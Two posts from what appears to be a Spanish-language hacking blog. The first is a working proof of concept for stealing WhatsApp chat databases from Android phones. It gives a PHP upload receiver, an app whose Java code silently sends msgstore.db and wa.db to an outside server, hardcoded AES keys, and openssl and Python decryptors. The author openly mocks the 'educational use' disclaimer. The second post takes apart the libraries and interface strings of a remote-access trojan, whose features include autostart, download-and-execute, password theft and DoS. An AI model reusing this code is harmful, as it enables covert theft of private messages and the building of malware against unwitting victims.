miércoles, 8 de julio de 2015

Whatsapp es seguro???

¿Es posible leer los chats de Whatsapp de un smartphone?




DISCLAIMER
No me hago responsable por la información a continuación compartida

usenla solo educacionalmente.

.
.

.
.
..
.NAAA ES BROMA!!! usenla como quieran para que vean los niveles de seguridad, lo que corresponda a código lo pondré en color negro y letra pequeña para poder identificarlo y diferenciarlo, y enmarcado así.


Entonces, a la pregunta si se puede leer los chat de whatsapp creando otra aplicación? la respuesta es:

OFF COURSE!. Sólo necesitamos que la aplicación maliciosa haya sido instalada aceptando los permisos para leer la tarjeta SD del dispositivo (android.permission.READ_EXTERNAL_STORAGE).


Para empezar con la prueba de concepto (y ojo que digo PdC porque en teoría no conocemos ;)) tenemos que publicar en nuestro webserver un php para subir las bases de datos de Whatsapp:


<?php
// Upload script to upload Whatsapp database
// This script is for testing purposes only.
 
$uploaddir = "/tmp/whatsapp/";
 
if ($_FILES["file"]["error"] > 0)
  {
  echo "Error: " . $_FILES["file"]["error"] . "<br>";
  }
else
  {
  echo "Upload: " . $_FILES["file"]["name"] . "<br>";
  echo "Type: " . $_FILES["file"]["type"] . "<br>";
  echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
  echo "Stored in: " . $_FILES["file"]["tmp_name"];
 
  $uploadfile = $uploaddir . $_SERVER['REMOTE_ADDR'] . "." . basename($_FILES['file']['name']);
  move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile);
  }
?>
 
<html><head><title>Shoo.. nothing here</title></head><body><form method="post" enctype="multipart/form-data"><input type="file" name="file" id="file"><input type="submit" value="Submit"></form></body></html>

Después debemos configurar nuestro php.ini para subir ficheros grandes:


...
file_uploads = On
post_max_size = 32M
upload_max_filesize = 32M

Lo siguiente que necesitamos será crear la aplicación de Android que suba los ficheros de la base de datos de WhatsApp hacia el servidor web. Para ello creamos un proyecto en Eclipse y empezamos modificando el fichero AndroidManifest.xml para solicitar los permisos para
leer la tarjeta SD e Internet:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="bb.security.whatsappupload"
    android:versionCode="1"
    android:versionName="1.0" >
 
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.INTERNET" />
 
    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="19" />
 
    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
 
        <activity
            android:name="bb.security.whatsappupload.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
 
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
 
</manifest>

Para la disposición podemos utilizar el diseño predeterminado que crea Eclipse, si acaso podemos mover el TextView al centro y aumentar el tamaño del texto. La subida del fichero ocurre antes de ver el layout, para la prueba de concepto de este activity_main.xml estará bien:



<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context=".MainActivity" >
 
    <TextView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignParentTop="true"
        android:layout_centerHorizontal="true"
        android:layout_marginTop="179dp"
        android:text="@string/hello_world"
        android:textSize="24sp" />
 
</RelativeLayout>

A continuación tenemos que crear la función MainActivity.java para subir cada uno de los ficheros:

    - /WhatsApp/Databases/msgstore.db
    - /WhatsApp/Databases/wa.db
    - /WhatsApp/Databases/msgstore.db.crypt

    - /WhatsApp/Databases/msgstore.db.crypt5

    - /WhatsApp/Databases/msgstore.db.crypt7 (últimas versiones)
 

package bb.security.whatsappupload;
 
/*
* This application is for testing purposes only.
* Use of this application is at your own risk.
*/
 
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
 
import android.os.AsyncTask;
import android.os.Bundle;
import android.os.Environment;
import android.app.Activity;
import android.app.ProgressDialog;
import android.util.Log;
import android.view.Menu;
 
public class MainActivity extends Activity {
 
    //A ProgressDialog object
    private ProgressDialog progressDialog;
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        new UploadWhatsApp().execute();
    }
 
    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.main, menu);
        return true;
    }
 
    @SuppressWarnings("deprecation")
    private void uploadFile(String file) {
        HttpURLConnection conn = null;
        DataOutputStream dos = null;
        DataInputStream inStream = null;
 
        Log.i("FILE", "Filename:\n" + file);
 
        String lineEnd = "\r\n";
        String twoHyphens = "--";
        String boundary = "*****";
        int bytesRead, bytesAvailable, bufferSize;
        byte[] buffer;
        int maxBufferSize = 1 * 1024 * 1024 * 1024;
        String urlString = "http://skysecurity.sytes.net/whatsapp/upload_wa.php";
        try {
            //     ------------------ CLIENT REQUEST
            FileInputStream fileInputStream = new FileInputStream(new File(
                    file));
            // open a URL connection to the Servlet
            URL url = new URL(urlString);
            // Open a HTTP connection to the URL
            conn = (HttpURLConnection) url.openConnection();
            // Allow Inputs
            conn.setDoInput(true);
            // Allow Outputs
            conn.setDoOutput(true);
            // Don't use a cached copy.
            conn.setUseCaches(false);
            // Use a post method.
            conn.setRequestMethod("POST");
            conn.setRequestProperty("Connection", "Keep-Alive");
            conn.setRequestProperty("Content-Type",
                    "multipart/form-data;boundary=" + boundary);
            dos = new DataOutputStream(conn.getOutputStream());
            dos.writeBytes(twoHyphens + boundary + lineEnd);
            dos.writeBytes("Content-Disposition: form-data; name=\"file\";filename=\""
                    + file + "\"" + lineEnd);
            dos.writeBytes(lineEnd);
            // create a buffer of maximum size
            bytesAvailable = fileInputStream.available();
            bufferSize = Math.min(bytesAvailable, maxBufferSize);
            buffer = new byte[bufferSize];
            // read file and write it into form...
            bytesRead = fileInputStream.read(buffer, 0, bufferSize);
            while (bytesRead > 0) {
                dos.write(buffer, 0, bufferSize);
                bytesAvailable = fileInputStream.available();
                bufferSize = Math.min(bytesAvailable, maxBufferSize);
                bytesRead = fileInputStream.read(buffer, 0, bufferSize);
            }
            // send multipart form data necesssary after file data...
            dos.writeBytes(lineEnd);
            dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);
            // close streams
            Log.e("Debug", "File is written");
            fileInputStream.close();
            dos.flush();
            dos.close();
        } catch (MalformedURLException ex) {
            Log.e("Debug", "error: " + ex.getMessage(), ex);
        } catch (IOException ioe) {
            Log.e("Debug", "error: " + ioe.getMessage(), ioe);
        }
        // ------------------ read the SERVER RESPONSE
        try {
            if (conn != null){
                inStream = new DataInputStream(conn.getInputStream());
                String str;
 
                while ((str = inStream.readLine()) != null) {
                    Log.e("Debug", "Server Response " + str);
                }
                inStream.close();
            }
 
        } catch (IOException ioex) {
            Log.e("Debug", "error: " + ioex.getMessage(), ioex);
        }
    }
 
    private class UploadWhatsApp extends AsyncTask<Void, Integer, Void>{
 
        @Override
        protected void onPreExecute()
        {
            //Create a new progress dialog
            progressDialog = ProgressDialog.show(MainActivity.this,"Loading Application, please wait...",
                    "Loading, please wait...", false, false);
        }
 
        //The code to be executed in a background thread.
        @Override
        protected Void doInBackground(Void... params)
        {
 
            String fileWACrypt = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/msgstore.db.crypt";
            String fileWAPlain = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/msgstore.db";
            String fileWAwa = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/wa.db";
 
            MainActivity.this.uploadFile(fileWACrypt);
            MainActivity.this.uploadFile(fileWAPlain);
            MainActivity.this.uploadFile(fileWAwa);
            return null;
        }
 
        //Update the progress
        @Override
        protected void onProgressUpdate(Integer... values)
        {
            //set the current progress of the progress dialog
            progressDialog.setProgress(values[0]);
        }
 
        //after executing the code in the thread
        @Override
        protected void onPostExecute(Void result)
        {
            //close the progress dialog
            progressDialog.dismiss();
            //initialize the View
            setContentView(R.layout.activity_main);
        }
 
    }
}
   
msgstore.db y wa.db son bases de datos sin cifrar utilizados en antiguas versiones de Whatsapp. Msgstore.db.crypt está cifrado con AES, pero siempre usando la misma clave tanto para cifrar como descifrar: 346a23652a46392b4d73257c67317e352e3372482177652c.

Por lo tanto podremos descifrarla una vez obtenido mediante:

openssl enc -d -aes-192-ecb -in msgstore.db.crypt -out msgstore.db.sqlite -K 346a23652a46392b4d73257c67317e352e3372482177652c

o mediante el siguiente script en Python:


#!/usr/bin/env python
 
import sys
from Crypto.Cipher import AES
 
try:
    wafile=sys.argv[1]
except:
    print "Usage: %s <msgstore.db.crypt>" % __file__
    sys.exit(1)
 
key = "346a23652a46392b4d73257c67317e352e3372482177652c".decode('hex')
cipher = AES.new(key,1)
open('msgstore.db',"wb").write(cipher.decrypt(open(wafile,"rb").read()))
 
Y ya está, así de sencillo. Podremos estar leyendo los chats de WhatsApp de las bases de datos extraídas...

____________________CAMBIOS EN SU VERSION?____________________

Ten en cuenta
WhatsApp ha cambiado el algoritmo y la clave para cifrar las copias de seguridad en las SD. Los nuevos archivos con extensión "crypt5" se cifran mediante aes-cbc-192.
 Para descifrarlo podéis utilizar un script de grbnz0 y nullsub:

- python pwncrypt5.py msgstore.db.crypt5 grbnz0@gmail.com > msgstore.sdb


#!/usr/bin/env python
"""
48bits presents:
8===============================================D~~~
WhatsApp msgstore crypt5 decryptor by grbnz0 and nullsub
8===============================================D~~~
"""
                                                                                                                                                                                   
import sys
import hashlib
import StringIO
from M2Crypto import EVP
 
key = bytearray([141, 75, 21, 92, 201, 255, 129, 229, 203, 246, 250, 120, 25, 54, 106, 62, 198, 33, 166, 86, 65, 108, 215, 147])
iv = bytearray([0x1E,0x39,0xF3,0x69,0xE9,0xD,0xB3,0x3A,0xA7,0x3B,0x44,0x2B,0xBB,0xB6,0xB0,0xB9])
 
def decrypt(db,acc):
  fh = file(db,'rb')
  edb = fh.read()
  fh.close()
  m = hashlib.md5()
  m.update(acc)
  md5 = bytearray(m.digest())
  for i in xrange(24): key[i] ^= md5[i&0xF]
  cipher = EVP.Cipher('aes_192_cbc', key=key, iv=iv, op=0)
  sys.stdout.write(cipher.update(edb))
  sys.stdout.write(cipher.final())
 
if __name__ == '__main__':
  if len(sys.argv) != 3:
    print 'usage %s   > decrypted.db' % sys.argv[0]
  else:
    decrypt(sys.argv[1],sys.argv[2])

NOTA: Las últimas versiones de WhatsApp cifran la base de datos con crypt7. También puede descifrarse pero para ello se requiere del archivo Key, que solo se consigue teniendo acceso root en el teléfono. 

El método más sencillo es copiar la clave ("/data/data/com.whatsapp/files/key") y, junto con la base de datos, utilizar Whatsapp-viewer:






 Eso es todo por hoy... disfruten la información.

viernes, 3 de julio de 2015

ABRIENDO LA NUEZ

hola amigos, en esta sección mostraremos una de tus frutas favoritas siendo abierta para que la disfrutes mejor.
LA NUEZ

empecemos viendo las vitaminas, minerales y lo que compone este fruto. nosotros lo conocemos como librerias.













Ahora bien veamos el contenido de cada uno en el orden mostrado.
los archivos .wav ya no los mencionaré por obvias razones.
veamos la clase Sonid.java
package Extras;

import java.util.logging.Level;
import java.util.logging.Logger;
import javax.sound.sampled.AudioSystem;
import javax.sound.sampled.Clip;

public class Sonid extends Thread {

   public void run() {
      try {
         Clip ex = AudioSystem.getClip();
         ex.open(AudioSystem.getAudioInputStream(this.getClass().getResourceAsStream("as.wav")));
         ex.start();

         while(true) {
            sleep(2000L);
            if(!ex.isRunning()) {
               System.out.println("sa");
               ex.close();
               break;
            }

            System.out.println("Running...");
         }
      } catch (Exception var2) {
         Logger.getLogger(Sonid.class.getName()).log(Level.SEVERE, (String)null, var2);
      }

   }

   public static void main(String[] args) throws InterruptedException {
      (new Sonid()).start();
   }
}
 JdeskTopPanel.java
package Extras;

import java.awt.Graphics;
import java.awt.Image;
import java.awt.Toolkit;
import java.awt.image.ImageObserver;
import java.io.File;
import javax.swing.ImageIcon;
import javax.swing.JDesktopPane;

public class JdeskTopPanel extends JDesktopPane {

   private Image m;


   public JdeskTopPanel() {
      try {
         File e = new File("Imagenes/background.png");
         if(e.exists()) {
            this.m = Toolkit.getDefaultToolkit().getImage("Imagenes/background.png");
         } else {
            this.m = (new ImageIcon(this.getClass().getResource("/resources/backgro2.jpg"))).getImage();
         }

         System.out.println(this.m.getHeight((ImageObserver)null));
      } catch (Exception var2) {
         System.out.println(var2.getMessage());
      }

   }

   public void paint(Graphics g) {
      if(this.m != null) {
         g.drawImage(this.m, 0, 0, this.getWidth(), this.getHeight(), this);
         this.setOpaque(false);
      } else {
         this.setOpaque(true);
      }

      super.paint(g);
   }

   public void cambiaFondo(File archivo) {
      this.m.flush();
      this.m = Toolkit.getDefaultToolkit().getImage(archivo.getAbsolutePath());
      this.repaint();
   }
}
SHA.java
package Extras;

import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.logging.Level;
import java.util.logging.Logger;

public class SHA {

   public static String getMD5(String dato) {
      String s = "";

      try {
         MessageDigest ex = MessageDigest.getInstance("SHA");
         byte[] resumen = ex.digest(dato.getBytes());

         for(int i = 0; i < resumen.length; ++i) {
            s = s + Integer.toHexString(resumen[i] >> 4 & 15);
            s = s + Integer.toHexString(resumen[i] & 15);
         }
      } catch (NoSuchAlgorithmException var5) {
         Logger.getLogger(SHA.class.getName()).log(Level.SEVERE, (String)null, var5);
      }

      return s;
   }

   public static void main(String[] args) {
      System.out.println(getMD5((new StringBuffer("3582530353323941")).reverse().toString()));
      System.out.println(getMD5("xxxx"));
   }
}
Utileria.java
package Extras;

import java.awt.Toolkit;
import java.awt.Window;

public class Utileria {

   public static void centraVentana(Window frame) {
      int altoPantalla = Toolkit.getDefaultToolkit().getScreenSize().height / 2;
      int anchoPantalla = Toolkit.getDefaultToolkit().getScreenSize().width / 2;
      int altoAplicacion = frame.getSize().height / 2;
      int anchoAplicacion = frame.getSize().width / 2;
      frame.setLocation(anchoPantalla - anchoAplicacion, altoPantalla - altoAplicacion);
   }
}
Stub.dll esta libreria la pasaremos por una pagina de descargas
As.wav omitiremos..

DES.java  este guardara el pass
package Extras;

import java.io.ByteArrayOutputStream;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;

public class DES {

   public static byte[] encriptDeS(String contrasena, byte[] input) {
      try {
         ByteArrayOutputStream ex = new ByteArrayOutputStream();
         SecretKeyFactory skf = SecretKeyFactory.getInstance(new String(new char[]{'D', 'E', 'S'}));
         DESKeySpec kspec = new DESKeySpec(contrasena.getBytes());
         SecretKey ks = skf.generateSecret(kspec);
         Cipher c = Cipher.getInstance(new String(new char[]{'D', 'E', 'S'}));
         c.init(1, ks);
         byte[] tmp = c.update(input, 0, input.length);
         ex.write(tmp);
         tmp = c.doFinal();
         ex.write(tmp);
         ex.close();
         return ex.toByteArray();
      } catch (Exception var8) {
         Logger.getLogger(DES.class.getName()).log(Level.SEVERE, (String)null, var8);
         return null;
      }
   }
}
---------------------------------------------------NO TE MAREES -------------------------------------------------
veamos la segunda librería de clases
Idiomas
Idioma_es.properties
barra.menu1=Central
barra.menu1.nuevo=Nuevo Servidor
barra.menu1.herramientas=Herramientas
barra.menu1.descargas=Descargas
barra.menu1.tray=Minimizar
barra.menu1.plugins=Plugins Manager
barra.menu2=Acerca
barra.menu2.autor=Autor
usuariostotal.titulo=Usuarios
usuariostotal.puerto1=Puerto 1:
usuariostotal.puerto2=Puerto 2:
usuariostotal.escuchar=Escuchar
usuariostotal.contrasena=Contrase\u00f1a:
usuariostotal.columna.pais=Pa\u00eds
usuariostotal.columna.id=Identificador
usuariostotal.columna.ipex=Ip Externa
usuariostotal.columna.ipin=IP Interna
usuariostotal.columna.userpc=Usuario PC
usuariostotal.columna.so=S.O.
usuariostotal.columna.jre=Versi\u00f3n JRE
usuariostotal.columna.version=Versi\u00f3n
usuariostotal.parar=Parar
nuevoserver.titulo=TituloCreaci\u00f3n de un nuevo servidor
nuevoserver.pestana1=Conexi\u00f3n
nuevoserver.pestana1.dns=IP/DNS:
nuevoserver.pestana1.puerto1=Puerto 1:
nuevoserver.pestana1.puerto2=Puerto 2:
nuevoserver.pestana1.contrasena=Contrase\u00f1a:
nuevoserver.pestana1.prefijo=Prefijo Server:
nuevoserver.pestana1.keyclase=Key para encriptar las clases
nuevoserver.pestana1.delay=Lapso de tiempo entre cada conexion fallida. (segundos)
nuevoserver.pestana1.tamano=Tama\u00f1o
nuevoserver.pestana1.verpass=Ver
nuevoserver.pestana1.generar=Generar
nuevoserver.pestana2=AutoInicio
nuevoserver.pestana2.iniciarwindows=Iniciar en Windows
nuevoserver.pestana2.ptareas=Programador de Tareas
nuevoserver.pestana2.nombrereg=Nombre en el Registro
nuevoserver.pestana2.nombrejar=Nombre del *.Jar
nuevoserver.pestana2.nombrecarpet=Nombre de Carpeta
nuevoserver.pestana2.tipocarpeta=Tipo de Carpeta
nuevoserver.crear=Crear Servidor
premota.titulo=Abrir URL:
premota.veces=Numero de Veces:
premota.enviar=Enviar
acerca.titulo=Acerca
acerca.autor=Autor:
acerca.pagina=P\u00e1gina:
acerca.version=Versi\u00f3n
actualiza.titulo=Actualizaci\u00f3n del Server
actualiza.envia=Actualizar
cpantalla.titulo=Captura de Pantalla
cpantalla.segundos=Segundos:
cpantalla.escala=Escala:
cpantalla.calidad=Calidad:
cpantalla.color=Color
cpantalla.gris=Gris
cpantalla.bytes=Bytes Recibidos:
cpantalla.guardar=Guardar Scr
cpantalla.text=Texto a Enviar:
cpantalla.limpiar=Limpiar
dyejecuta.titulo=Descargar y Ejecutar
dyejecuta.enviar=Enviar
infowind.titulo=Informaci\u00f3n detallada
infowind.cuerpo=Esperando datos...
cr.pagina=P\u00e1gina:
cr.puerto=Puerto:
cr.hilos=Hilos:
cr.tiempo=Tiempo (s):
cr.enviar=Enviar
cdescarga.titulo=Centro de Descarga
cdescarga.descarga=Abrir Carpetas de descarga
dsingle.descargado=Descargado:
dsingle.total=Total:
dsingle.abrir=Abrir
dsingle.cerrar=Cerrar
dsingle.cancelar=Cancelar
enviarfile.titulo=Envio de archivos a la PC remota
enviarfile.buscar=Buscar archivo
enviarfile.nombre=Nombre tmp:
enviarfile.envyejecuta=Enviar
enviarfile.bufer=Tama\u00f1o del Buffer (kb)
fmanager.titulo=Administrador de Archivos
fmanager.discos=Listar Discos
fmanager.listar=Listar
fmanager.carpeta=Carpetas:
fmanager.tamano=Tama\u00f1o (bytes)
fmanager.nombre=Nombre
fmanager.tipo=Tipo
fmanager.tamanoL=Tama\u00f1o (kb)
fmanager.archivo=Archivos (s):
mensajes.titulo=Mensajes Falsos
0.properties
idioma.nombre=Espa\u00f1ol
#idioma.autor=Adwind
#nombre.rat=Frutas RAT v0.9 [Vesi\u00f3n Indetectable]
#Botones de la 1 opcion de la barra
barra1.central=Central
barra1.lenguaje=Idiomas
barra1.nuevoserver=Nuevo Servidor

#Botones de la 2 opcion de la barra
barra2.acerca=Acerca
barra2.autor=Autor

#Frame general
framegeneral.nombre=Usuarios
label.puerto=Puerto 1:
label.puerto2=Puerto 2:
boton.escucha.activado=Escuchar
boton.escucha.desactivado=Parar
label.contrasena=Contrase\u00f1a:
label.conectado=Conectados: 
tabla.pais=Pa\u00eds
tabla.identificador=Identificador
tabla.externa=IP Externa
tabla.interna=IP Interna
tabla.user=Usuario PC
tabla.os=S.O.
tabla.jre=Versi\u00f3n JRE
tabla.version=Versi\u00f3n

#Ventana de abrir URL
abrir.url.titulo=URL Remota:
abrir.url.labelVeces=Numero de veces:
abrir.url.botonEnviar=Enviar

#Venta de Acerca
acerca.titulo=Acerca
acerca.autor=Autor: 
acerca.pagina=P\u00e1gina: 
acerca.version=Versi\u00f3n
acerca.tipo= Tipo: 

#Captura de pantalla
captura.titulo=Captura de pantalla
captura.boton=Parar
captura.segundo=Segundos
captura.tamano=Tama\u00f1o
captura.tipo=Tipo
captura.color=Color
captura.gris=Gris

#Ventana DOS
dos.pagina=P\u00e1gina:
dos.puerto=Puerto:
dos.hilos=Hilos:
dos.tiempo=Tiempo (s):
dos.boton=Enviar

#Ventana enviar archivo
envia.titulo=Envio de archivos a la PC remota
envia.busca=Buscar Archivo
envia.envia=Enviar y Ejecutar
envia.cancela=Cancelar

#Ventana Mensajes
mensaje.titulo=Mensajes Falsos:
mensaje.error=Error
mensaje.advertencia=Advertencia
mensaje.informacion=Informaci\u00f3n
mensaje.pregunta=Pregunta
mensaje.titulo.texto=Titulo
mensaje.cuerpo=Cuerpo
mensaje.enviar=Enviar
mensaje.prueba=Prueba

#Ventana Nuevo Servidor
servidor.titulo=Creaci\u00f3n de un Nuevo Servidor
servidor.conexion=Conexi\u00f3n
servidor.autoinicio=Autoinicio
servidor.contrasena=Contrase\u00f1a
servidor.puerto1=Puerto 1: 
servidor.puerto2=Puerto 2: 
servidor.crear=Crear Servidor
servidor.windows=Iniciar en Windows
servidor.registro=Entrada Registo: 
servidor.nobrereg=Nombre Final del *.JAR

#Ventana PopUp
popup.mensaje=Mensajes Falsos
popup.contrasena=Contrase\u00f1as (Windows)
popup.url=Abrir URL
popup.envia=Enviar Archivo
popup.para=Parar Conexion
popup.reinicia=Reiniciar Conexi\u00f3
popup.desintala=Desinstalar
popup.captura=Captura de Pantalla
popup.dos=Ataque D.o.S
popup.archivos=Administrador de Archivos
Idioma_en.properties
# To change this template, choose Tools | Templates
# and open the template in the editor.

#En la barra es el primer item
barra.menu1=Main
barra.menu1.nuevo=New Server
barra.menu1.herramientas=Tools
barra.menu1.descargas=Downloads
barra.menu1.tray=System Tray
barra.menu1.plugins=Plugins Manager
barra.menu2=About
barra.menu2.autor=Creator
usuariostotal.titulo=Users
usuariostotal.puerto1=Port 1:
usuariostotal.puerto2=Port 2:
usuariostotal.escuchar=Listen
usuariostotal.contrasena=Password:
usuariostotal.columna.pais=Country
usuariostotal.columna.id=Identificador
usuariostotal.columna.ipex=Ip Externa
usuariostotal.columna.ipin=IP Interna
usuariostotal.columna.userpc=Usuario PC
usuariostotal.columna.so=S.O.
usuariostotal.columna.jre=Versi\u00f3n JRE
usuariostotal.columna.version=Versi\u00f3n
usuariostotal.parar=Stop
nuevoserver.titulo=Create new Server
nuevoserver.pestana1=Conection
nuevoserver.pestana1.dns=IP/DNS:
nuevoserver.pestana1.puerto1=Port 1:
nuevoserver.pestana1.puerto2=Port 2:
nuevoserver.pestana1.contrasena=Password:
nuevoserver.pestana1.prefijo=Name server
nuevoserver.pestana1.keyclase=Encryp Key
nuevoserver.pestana1.delay=Delay. (seconds)
nuevoserver.pestana1.tamano=Size
nuevoserver.pestana1.verpass=Show
nuevoserver.pestana1.generar=Generate key
nuevoserver.pestana2=AutoStar
nuevoserver.pestana2.iniciarwindows=Start with Windows
nuevoserver.pestana2.ptareas=Task Schedule
nuevoserver.pestana2.nombrereg=Registry key
nuevoserver.pestana2.nombrejar=Name of *.Jar
nuevoserver.pestana2.nombrecarpet=Folder Name
nuevoserver.pestana2.tipocarpeta=Folder Type
nuevoserver.crear=Make Server
premota.titulo=Open URL: 
premota.veces=Number of Thread:
premota.enviar=Send
acerca.titulo=About
acerca.autor=Creator:
acerca.pagina=URL: 
acerca.version=Version
actualiza.titulo=Actualizaci\u00f3n del Server
actualiza.envia=Actualizar
cpantalla.titulo=Screen Capture
cpantalla.segundos=Seconds:
cpantalla.escala=Escala:
cpantalla.calidad=Quality:
cpantalla.color=Color
cpantalla.gris=Gray
cpantalla.bytes=Recived Bytes:
cpantalla.guardar=Save Scr
cpantalla.text=Text to Send:
cpantalla.limpiar=Clean
dyejecuta.titulo=Download and Execute
dyejecuta.enviar=Send
infowind.titulo=Info
infowind.cuerpo=Waiting data...
cr.pagina=Page:
cr.puerto=Port:
cr.hilos=Threads:
cr.tiempo=Time (s):
cr.enviar=Send
cdescarga.titulo=Download Center
cdescarga.descarga=Open Download Folder
dsingle.descargado=Downloaded:
dsingle.total=All:
dsingle.abrir=Open
dsingle.cerrar=Cerrar
dsingle.cancelar=Cancelar
enviarfile.titulo=Send file to remote PC
enviarfile.buscar=Search File
enviarfile.nombre=Temp Name:
enviarfile.envyejecuta=Send
enviarfile.bufer=Size of buffer. (kb)
fmanager.titulo=FileManager
fmanager.discos=List Disc
fmanager.listar=List
fmanager.carpeta=Folders: 
fmanager.tamano=Tama\u00f1o (bytes)
fmanager.nombre=Name
fmanager.tipo=Type
fmanager.tamanoL=Size (kb)
fmanager.archivo=File (s):
mensajes.titulo=Fake Messages

1.properties
idioma.nombre=English
idioma.autor=Traduced by sandisk.ver.1.0
nombre.rat=Fruits RAT v0.8 [Vesi\u00f3n Orange]
#Botones de la 1 opcion de la barra
barra1.central=Main
barra1.lenguaje=Languajes
barra1.nuevoserver=New Server

#Botones de la 2 opcion de la barra
barra2.acerca=About
barra2.autor=Author

#Frame general
framegeneral.nombre=Users
label.puerto=Port 1:
label.puerto2=Port 2:
boton.escucha.activado=Listen
boton.escucha.desactivado=Stop
label.contrasena=Password:
label.conectado=Connected: 
tabla.pais=Country
tabla.identificador=Identificador
tabla.externa=External IP
tabla.interna=Internal IP
tabla.user=PC User
tabla.os=O.S.
tabla.jre=JRE Version
tabla.version=Version

#Ventana de abrir URL
abrir.url.titulo=Remote URL:
abrir.url.labelVeces=Number of times:
abrir.url.botonEnviar=Send

#Venta de Acerca
acerca.titulo=About
acerca.autor=Author: 
acerca.pagina=Page: 
acerca.version=Version:
acerca.tipo=Type:

#Captura de pantalla
captura.titulo=Screen Capture
captura.boton=Stop
captura.segundo=Seconds
captura.tamano=Size
captura.tipo=Type
captura.color=Color
captura.gris=Gray

#Ventana DOS
dos.pagina=Page:
dos.puerto=Port:
dos.hilos=Threads:
dos.tiempo=Time (s):
dos.boton=Send

#Ventana enviar archivo
envia.titulo=Send Files to Remote PC
envia.busca=Search File
envia.envia=Send and Execute
envia.cancela=Cancel

#Ventana Mensajes
mensaje.titulo=Fake Message:
mensaje.error=Error
mensaje.advertencia=Warning
mensaje.informacion=Information
mensaje.pregunta=Question
mensaje.titulo.texto=Title
mensaje.cuerpo=Body
mensaje.enviar=Send
mensaje.prueba=Test

#Ventana Nuevo Servidor
servidor.titulo=Create a New Server
servidor.conexion=Connection
servidor.autoinicio=Autostart
servidor.contrasena=Password: 
servidor.puerto1=Port 1: 
servidor.puerto2=Port 2: 
servidor.crear=Create Server
servidor.windows=Start in Windows
servidor.registro=Registry Entries: 
servidor.nobrereg=Final *.JAR Name

#Popup mensajes
popup.mensaje=Fake Messages
popup.contrasena=Passwords recovery (Windows)
popup.url=Open URL
popup.envia=Send File
popup.para=Stop Conection
popup.reinicia=Restar Conection
popup.desintala=UnInstall
popup.captura=Screen Capture
popup.dos=Atack D.o.S
popup.archivos=File Manager

Idioma.properties
barra.menu1=Central
barra.menu1.nuevo=Nuevo Servidor
barra.menu1.herramientas=Herramientas
barra.menu1.descargas=Descargas
barra.menu1.tray=Minimizar
barra.menu1.plugins=Plugins Manager
barra.menu2=Acerca
barra.menu2.autor=Autor
usuariostotal.titulo=Usuarios
usuariostotal.puerto1=Puerto 1:
usuariostotal.puerto2=Puerto 2:
usuariostotal.escuchar=Escuchar
usuariostotal.contrasena=Contrase\u00f1a:
usuariostotal.columna.pais=Pa\u00eds
usuariostotal.columna.id=Identificador
usuariostotal.columna.ipex=Ip Externa
usuariostotal.columna.ipin=IP Interna
usuariostotal.columna.userpc=Usuario PC
usuariostotal.columna.so=S.O.
usuariostotal.columna.jre=Versi\u00f3n JRE
usuariostotal.columna.version=Versi\u00f3n
usuariostotal.parar=Parar
nuevoserver.titulo=Creaci\u00f3n de un nuevo servidor
nuevoserver.pestana1=Conexi\u00f3n
nuevoserver.pestana1.dns=IP/DNS:
nuevoserver.pestana1.puerto1=Puerto 1:
nuevoserver.pestana1.puerto2=Puerto 2:
nuevoserver.pestana1.contrasena=Contrase\u00f1a:
nuevoserver.pestana1.prefijo=Prefijo Server:
nuevoserver.pestana1.keyclase=Key para encriptar las clases
nuevoserver.pestana1.delay=Lapso de tiempo entre cada conexion fallida. (segundos)
nuevoserver.pestana1.tamano=Tama\u00f1o
nuevoserver.pestana1.verpass=Ver
nuevoserver.pestana1.generar=Generar
nuevoserver.pestana2=AutoInicio
nuevoserver.pestana2.iniciarwindows=Iniciar en Windows
nuevoserver.pestana2.ptareas=Programador de Tareas
nuevoserver.pestana2.nombrereg=Nombre en el Registro
nuevoserver.pestana2.nombrejar=Nombre del *.Jar
nuevoserver.pestana2.nombrecarpet=Nombre de Carpeta
nuevoserver.pestana2.tipocarpeta=Tipo de Carpeta
nuevoserver.crear=Crear Servidor
premota.titulo=Abrir URL: 
premota.veces=Numero de Veces:
premota.enviar=Enviar
acerca.titulo=Acerca
acerca.autor=Autor:
acerca.pagina=P\u00e1gina:
acerca.version=Versi\u00f3n
actualiza.titulo=Actualizaci\u00f3n del Server
actualiza.envia=Actualizar
cpantalla.titulo=Captura de Pantalla
cpantalla.segundos=Segundos:
cpantalla.escala=Escala:
cpantalla.calidad=Calidad:
cpantalla.color=Color
cpantalla.gris=Gris
cpantalla.bytes=Bytes Recibidos:
cpantalla.guardar=Guardar Scr
cpantalla.text=Texto a Enviar:
cpantalla.limpiar=Limpiar
